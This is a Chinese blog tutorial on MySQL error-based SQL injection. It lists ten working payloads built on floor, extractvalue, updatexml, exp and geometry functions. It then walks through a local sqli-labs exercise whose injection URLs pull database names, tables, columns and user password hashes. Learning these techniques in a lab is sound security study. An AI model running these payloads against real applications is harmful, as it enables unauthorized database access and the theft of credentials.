SQL注入学习之报错注入(七)

0x00 报错注入

报错注入在我们不能联合注入的时候也是非常重要的网上给我们提供了很多中报错注入 这里直接引用
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html 一文了

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);


2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));


3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));


4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));


5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));


6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));


7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));


8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));


9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理 比如 exp() 报错的原理 ,手册说到exp是一个数学函数 取e的x次方,当我们输入的值大于709就会报错 然后~取反它的值总会大于709所以报错。

简单的用报错语句来注入一下把这里我就利用函数 updatexml()

updatexml (XML_document, XPath_string, new_value); 
XML_document: 是String格式,为XML文档对象的名称,文中为Doc 
XPath_string : Xpath
new_value :String格式,替换查找到的符合条件的数据 

其中关键点就是XPath_string 这块了 因为我们传入的的不是XPath_string,为什么要使用concat 这个函数呢,因为它是个连接函数你不用的话(updatexml(1,(select user()),1)) 这样也可以但是需要字符中有特殊字符,才会报错,同时它会被中间的特殊字符截断,所以需要用到concat用特殊字符给他连接起来。

爆库:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (schema_name),0x7e) FROM information_schema.schemata limit 2,1),1) -- +

爆表:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +

爆字段:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +

爆数据:

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,(select concat(0x7e, password,0x7e) from users limit 1,1),1) -- +



在报错里面直接使用 MySQL最基本的查表就可以了,你也可以把concat放在外面 updatexml(1,concat(0x7e, (select password from users limit 1,1),0x7e),1)

自己灵活多变,这里我值得注意的是它加了连接字符md5只能爆出31位,你可以用分割函数分割出来。

substr(string string,num start,num length);

string为字符串

start为起始位置

length为长度

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),1,16),0x7e),1) -- +



因为我密码不是md5的 所以我加了个密来分割。

0x01 文末

本文如有错误,请及时提醒,避免误导他人
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网络安全进阶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值